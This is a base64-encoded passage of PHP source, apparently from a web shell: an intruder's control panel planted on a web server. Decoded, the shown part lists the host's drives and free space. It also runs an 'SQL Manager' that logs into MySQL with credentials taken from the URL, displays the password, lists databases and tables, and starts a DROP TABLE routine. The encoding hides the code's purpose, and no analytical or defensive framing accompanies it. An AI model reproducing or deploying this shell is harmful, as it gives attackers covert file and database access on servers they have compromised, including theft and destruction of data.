cmVlOw0KICAgICAgICAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwIC8gKCR0b3RhbCAvICRmcmVl
KSAsIDIpOw0KICAgICAgICBlY2hvICI8YnI+PGI+RnJlZSAiIC4gdmlld19zaXplKCRmcmVlKSAu
ICIgb2YgIiAuIHZpZXdfc2l6ZSgkdG90YWwpIC4gIiAoIiAuICRmcmVlX3BlcmNlbnQgLiAiJSk8
L2I+IjsNCiAgICB9DQogICAgZWNobyAiPGJyPiI7DQogICAgJGxldHRlcnMgPSAiIjsNCiAgICBp
ZiAoJHdpbikNCiAgICB7DQogICAgICAgICR2ID0gZXhwbG9kZSgiXFwiLCAkZCk7DQogICAgICAg
ICR2ID0gJHZbMF07DQogICAgICAgIGZvcmVhY2ggKHJhbmdlKCJhIiwgInoiKSBhcyAkbGV0dGVy
KQ0KICAgICAgICB7DQogICAgICAgICAgICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gaW5fYXJyYXko
JGxldHRlciwgJHNhZmVtb2RlX2Rpc2tldHRlcyk7DQogICAgICAgICAgICBpZiAoISRib29sKQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRib29sID0gaXNfZGlyKCRsZXR0ZXIgLiAi
OlxcIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGJvb2wpDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAi
YWN0PWxzJmQ9IiAuIHVybGVuY29kZSgkbGV0dGVyIC4gIjpcXCIpIC4gIlwiIiAuICgkaXNkaXNr
ZXR0ZSA/ICIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlz
a2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIu
JylcIiIgOiAiIikgLiAiPlsgIjsNCiAgICAgICAgICAgICAgICBpZiAoJGxldHRlciAuICI6IiAh
PSAkdikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRsZXR0ZXJzIC49
ICRsZXR0ZXI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRsZXR0ZXJzIC49ICI8Zm9udCBjb2xv
cj1ncmVlbj4iIC4gJGxldHRlciAuICI8L2ZvbnQ+IjsNCiAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICB9DQogICAgICAgIGlmICghZW1wdHkoJGxldHRlcnMpKQ0KICAgICAgICB7DQogICAgICAgICAg
ICBlY2hvICI8Yj5EZXRlY3RlZCBkcml2ZXM8L2I+OiAiIC4gJGxldHRlcnMgLiAiPGJyPiI7DQog
ICAgICAgIH0NCiAgICB9DQogICAgaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQ0KICAgIHsN
CiAgICAgICAgZm9yZWFjaCAoJHF1aWNrbGF1bmNoIGFzICRpdGVtKQ0KICAgICAgICB7DQogICAg
ICAgICAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsIHVybGVuY29kZSgkZCkgLCAkaXRl
bVsxXSk7DQogICAgICAgICAgICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsICRzb3J0
LCAkaXRlbVsxXSk7DQogICAgICAgICAgICAkdiA9IHJlYWxwYXRoKCRkIC4gIi4uIik7DQogICAg
ICAgICAgICBpZiAoZW1wdHkoJHYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRh
ID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkZCk7DQogICAgICAgICAgICAgICAgdW5z
ZXQoJGFbY291bnQoJGEpIC0gMl0pOw0KICAgICAgICAgICAgICAgICR2ID0gam9pbihESVJFQ1RP
UllfU0VQQVJBVE9SLCAkYSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaXRlbVsxXSA9
IHN0cl9yZXBsYWNlKCIldXBkIiwgdXJsZW5jb2RlKCR2KSAsICRpdGVtWzFdKTsNCiAgICAgICAg
ICAgIGVjaG8gIjxhIGhyZWY9XCIiIC4gJGl0ZW1bMV0gLiAiXCI+IiAuICRpdGVtWzBdIC4gIjwv
YT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8g
IjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICBpZiAoKCFlbXB0eSgkZG9uYXRlZF9o
dG1sKSkgYW5kIChpbl9hcnJheSgkYWN0LCAkZG9uYXRlZF9hY3QpKSkNCiAgICB7DQogICAgICAg
IGVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3Bh
Y2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAl
XCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+
PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIgLiAkZG9uYXRlZF9odG1sIC4gIjwv
dGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgIH0NCiAgICBlY2hvICI8VEFCTEUgc3R5bGU9XCJC
T1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9
IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3Jk
ZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxp
Z249XCJ0b3BcIj4iOw0KICAgIGlmICgkYWN0ID09ICIiKQ0KICAgIHsNCiAgICAgICAgJGFjdCA9
ICRkc3BhY3QgPSAibHMiOw0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAic3FsIikNCiAgICB7DQog
ICAgICAgICRzcWxfc3VybCA9ICRzdXJsIC4gImFjdD1zcWwiOw0KICAgICAgICBpZiAoJHNxbF9s
b2dpbikNCiAgICAgICAgew0KICAgICAgICAgICAgJHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIg
LiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOw0KICAgICAgICB9DQogICAgICAgIGlmICgk
c3FsX3Bhc3N3ZCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHNxbF9zdXJsIC49ICImc3FsX3Bh
c3N3ZD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7DQogICAgICAgIH0NCiAgICAg
ICAgaWYgKCRzcWxfc2VydmVyKQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FsX3N1cmwgLj0g
IiZzcWxfc2VydmVyPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsNCiAgICAgICAg
fQ0KICAgICAgICBpZiAoJHNxbF9wb3J0KQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FsX3N1
cmwgLj0gIiZzcWxfcG9ydD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOw0KICAgICAg
ICB9DQogICAgICAgIGlmICgkc3FsX2RiKQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FsX3N1
cmwgLj0gIiZzcWxfZGI9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7DQogICAgICAgIH0N
CiAgICAgICAgJHNxbF9zdXJsIC49ICImIjsgPz48aDM+QXR0ZW50aW9uISBTUUwtTWFuYWdlciBp
cyA8dT5OT1Q8L3U+IHJlYWR5IG1vZHVsZSEgRG9uJ3QgcmVwb3J0cyBidWdzLjwvaDM+PFRBQkxF
IHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0w
IGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29s
b3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9
IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFs
aWduPSJ0b3AiPjxjZW50ZXI+PD9waHAgaWYgKCRzcWxfc2VydmVyKQ0KICAgICAgICB7DQogICAg
ICAgICAgICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyIC4gIjoiIC4gJHNx
bF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7DQogICAgICAgICAgICAkZXJyID0gbXlz
cWxfc21hcnRlcnJvcigpOw0KICAgICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCAk
c3FsX3NvY2spOw0KICAgICAgICAgICAgaWYgKCRzcWxfcXVlcnkgYW5kICRzdWJtaXQpDQogICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgJHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVy
eSgkc3FsX3F1ZXJ5LCAkc3FsX3NvY2spOw0KICAgICAgICAgICAgICAgICRzcWxfcXVlcnlfZXJy
b3IgPSBteXNxbF9zbWFydGVycm9yKCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAg
ICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FsX3NvY2sgPSBmYWxzZTsNCiAgICAg
ICAgfQ0KICAgICAgICBlY2hvICI8Yj5TUUwgTWFuYWdlcjo8L2I+PGJyPiI7DQogICAgICAgIGlm
ICghJHNxbF9zb2NrKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoISRzcWxfc2VydmVyKQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIk5PIENPTk5FQ1RJT04iOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgIGVjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRlcj4iOw0KICAgICAg
ICAgICAgICAgIGVjaG8gIjxiPiIgLiAkZXJyIC4gIjwvYj4iOw0KICAgICAgICAgICAgfQ0KICAg
ICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJHNxbHF1aWNrbGF1
bmNoID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoDQog
ICAgICAgICAgICAgICAgIkluZGV4IiwNCiAgICAgICAgICAgICAgICAkc3VybCAuICJhY3Q9c3Fs
JnNxbF9sb2dpbj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKSAuICImc3FsX3Bhc3N3
ZD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkgLiAiJnNxbF9zZXJ2ZXI9IiAuIGh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpIC4gIiZzcWxfcG9ydD0iIC4gaHRtbHNwZWNpYWxj
aGFycygkc3FsX3BvcnQpIC4gIiYiDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHNxbHF1
aWNrbGF1bmNoW10gPSBhcnJheSgNCiAgICAgICAgICAgICAgICAiUXVlcnkiLA0KICAgICAgICAg
ICAgICAgICRzcWxfc3VybCAuICJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9IiAuIHVybGVuY29kZSgk
c3FsX3RibCkNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkc3FscXVpY2tsYXVuY2hbXSA9
IGFycmF5KA0KICAgICAgICAgICAgICAgICJTZXJ2ZXItc3RhdHVzIiwNCiAgICAgICAgICAgICAg
ICAkc3VybCAuICJhY3Q9c3FsJnNxbF9sb2dpbj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xv
Z2luKSAuICImc3FsX3Bhc3N3ZD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkgLiAi
JnNxbF9zZXJ2ZXI9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpIC4gIiZzcWxfcG9y
dD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpIC4gIiZzcWxfYWN0PXNlcnZlcnN0YXR1
cyINCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5
KA0KICAgICAgICAgICAgICAgICJTZXJ2ZXIgdmFyaWFibGVzIiwNCiAgICAgICAgICAgICAgICAk
c3VybCAuICJhY3Q9c3FsJnNxbF9sb2dpbj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2lu
KSAuICImc3FsX3Bhc3N3ZD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkgLiAiJnNx
bF9zZXJ2ZXI9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpIC4gIiZzcWxfcG9ydD0i
IC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpIC4gIiZzcWxfYWN0PXNlcnZlcnZhcnMiDQog
ICAgICAgICAgICApOw0KICAgICAgICAgICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgNCiAg
ICAgICAgICAgICAgICAiUHJvY2Vzc2VzIiwNCiAgICAgICAgICAgICAgICAkc3VybCAuICJhY3Q9
c3FsJnNxbF9sb2dpbj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKSAuICImc3FsX3Bh
c3N3ZD0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkgLiAiJnNxbF9zZXJ2ZXI9IiAu
IGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpIC4gIiZzcWxfcG9ydD0iIC4gaHRtbHNwZWNp
YWxjaGFycygkc3FsX3BvcnQpIC4gIiZzcWxfYWN0PXByb2Nlc3NlcyINCiAgICAgICAgICAgICk7
DQogICAgICAgICAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAg
ICJMb2dvdXQiLA0KICAgICAgICAgICAgICAgICRzdXJsIC4gImFjdD1zcWwiDQogICAgICAgICAg
ICApOw0KICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Yj5NeVNRTCAiIC4gbXlzcWxfZ2V0X3Nl
cnZlcl9pbmZvKCkgLiAiIChwcm90byB2LiIgLiBteXNxbF9nZXRfcHJvdG9faW5mbygpIC4gIikg
cnVubmluZyBpbiAiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiOiIgLiBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkgLiAiIGFzICIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxf
bG9naW4pIC4gIkAiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiIChwYXNzd29y
ZCAtIFwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpIC4gIlwiKTwvYj48YnI+IjsN
CiAgICAgICAgICAgIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkc3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICJbIDxhIGhyZWY9XCIi
IC4gJGl0ZW1bMV0gLiAiXCI+PGI+IiAuICRpdGVtWzBdIC4gIjwvYj48L2E+IF0gIjsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L2NlbnRlcj4i
Ow0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiAgICAgICAgaWYg
KCEkc3FsX3NvY2spDQogICAgICAgIHsgPz48dGQgd2lkdGg9IjI4JSIgaGVpZ2h0PSIxMDAiIHZh
bGlnbj0idG9wIj48Y2VudGVyPjxmb250IHNpemU9IjUiPiBpIDwvZm9udD48L2NlbnRlcj48bGk+
SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2Vzcy48bGk+SWYgaG9zdCBp
cyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDwvYj48bGk+SWYgcG9ydCBpcyBudWxsLCBwb3J0IGlz
IDMzMDYgKGRlZmF1bHQpPC90ZD48dGQgd2lkdGg9IjkwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRv
cCI+PFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAw
JSIgYm9yZGVyPTA+PHRyPjx0ZD4mbmJzcDs8Yj5QbGVhc2UsIGZpbGwgdGhlIGZvcm06PC9iPjx0
YWJsZT48dHI+PHRkPjxiPlVzZXJuYW1lPC9iPjwvdGQ+PHRkPjxiPlBhc3N3b3JkPC9iPiZuYnNw
OzwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPiZuYnNwOzwvdGQ+PC90cj48Zm9ybSBhY3Rpb249Ijw/
cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9ImFjdCIgdmFsdWU9InNxbCI+PHRyPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3Fs
X2xvZ2luIiB2YWx1ZT0icm9vdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9
InBhc3N3b3JkIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3Rk
Pjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iIiBtYXhsZW5ndGg9
IjY0Ij48L3RkPjwvdHI+PHRyPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90
ZD48L3RyPjx0cj48dGQgYWxpZ249cmlnaHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9z
ZXJ2ZXIiIHZhbHVlPSJsb2NhbGhvc3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0
eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IjMzMDYiIG1heGxlbmd0aD0iNiIgc2l6
ZT0iMyI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+
PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjw/cGhwDQogICAgICAg
IH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxf
ZGIpKQ0KICAgICAgICAgICAgeyA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGln
bj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsIC4gImFjdD1zcWwmc3FsX2xvZ2luPSIg
LiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pIC4gIiZzcWxfcGFzc3dkPSIgLiBodG1sc3Bl
Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKSAuICImc3FsX3NlcnZlcj0iIC4gaHRtbHNwZWNpYWxjaGFy
cygkc3FsX3NlcnZlcikgLiAiJnNxbF9wb3J0PSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9y
dCkgLiAiJiI7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocCAk
cmVzdWx0ID0gbXlzcWxfbGlzdF90YWJsZXMoJHNxbF9kYik7DQogICAgICAgICAgICAgICAgaWYg
KCEkcmVzdWx0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBt
eXNxbF9zbWFydGVycm9yKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVs
c2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIi0tLVsgPGEg
aHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAiJlwiPjxiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxf
ZGIpIC4gIjwvYj48L2E+IF0tLS08YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgJGMgPSAwOw0K
ICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1
bHQpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY291
bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gIiAuICRyb3dbMF0pOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3Vu
dCk7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj7CuyZuYnNwOzxhIGhyZWY9XCIi
IC4gJHNxbF9zdXJsIC4gInNxbF9kYj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKSAuICIm
c3FsX3RibD0iIC4gaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKSAuICJcIj48Yj4iIC4gaHRtbHNw
ZWNpYWxjaGFycygkcm93WzBdKSAuICI8L2I+PC9hPiAoIiAuICRjb3VudF9yb3dbMF0gLiAiKTwv
YnI+PC9iPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291
bnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGMrKzsNCiAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICAgICBpZiAoISRjKQ0KICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2Uu
IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
IH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsgPz48dGQgd2lkdGg9IjEiIGhlaWdo
dD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48
Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocCAkcmVzdWx0ID0gbXlzcWxf
bGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgICAgICAgICAgICAgICBpZiAoISRyZXN1bHQpDQogICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvIG15c3FsX3NtYXJ0ZXJyb3Io
KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAg
ICAgIHsgPz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0i
aGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2lu
KTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3Bo
cCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9Imhp
ZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy
cygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIg
dmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVj
dCBuYW1lPSJzcWxfZGIiPjw/cGhwICRjID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGRicyA9
ICIiOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygk
cmVzdWx0KSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIgLiAkcm93WzBdIC4gIlwiIjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIGlmICgkc3FsX2RiID09ICRyb3dbMF0pDQogICAgICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRicyAuPSAiIHNlbGVjdGVkIjsN
CiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICRkYnMg
Lj0gIj4iIC4gJHJvd1swXSAuICI8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg
JGMrKzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8
b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiIC4gJGMgLiAiKTwvb3B0aW9uPiI7DQogICAg
ICAgICAgICAgICAgICAgIGVjaG8gJGRiczsNCiAgICAgICAgICAgICAgICB9ID8+PC9zZWxlY3Q+
PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCBzZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIg
bm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPjwvZm9ybT48P3BocA0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCIgaGVp
Z2h0PVwiMVwiIHZhbGlnbj1cInRvcFwiPiI7DQogICAgICAgICAgICAkZGlwbGF5ID0gdHJ1ZTsN
CiAgICAgICAgICAgIGlmICgkc3FsX2RiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
IGlmICghaXNfbnVtZXJpYygkYykpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAkYyA9IDA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkYyA9
PSAwKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGMgPSAibm8iOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBu
b3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIgLiAkYyAuICIgdGFibGUocykgaW4gdGhpcyBE
QiAoIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikgLiAiKS48YnI+IjsNCiAgICAgICAgICAg
ICAgICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbIDxh
IGhyZWY9XCIiIC4gJGl0ZW1bMV0gLiAiXCI+IiAuICRpdGVtWzBdIC4gIjwvYT4gXSAiOw0KICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVj
aG8gIjwvYj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgICAgICRhY3RzID0gYXJyYXkoDQogICAg
ICAgICAgICAgICAgICAgICIiLA0KICAgICAgICAgICAgICAgICAgICAiZHVtcCINCiAgICAgICAg
ICAgICAgICApOw0KICAgICAgICAgICAgICAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIkRST1Ag
VEFCTEUiOw0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkYm94dGJsIGFzICR2KQ0KICAg
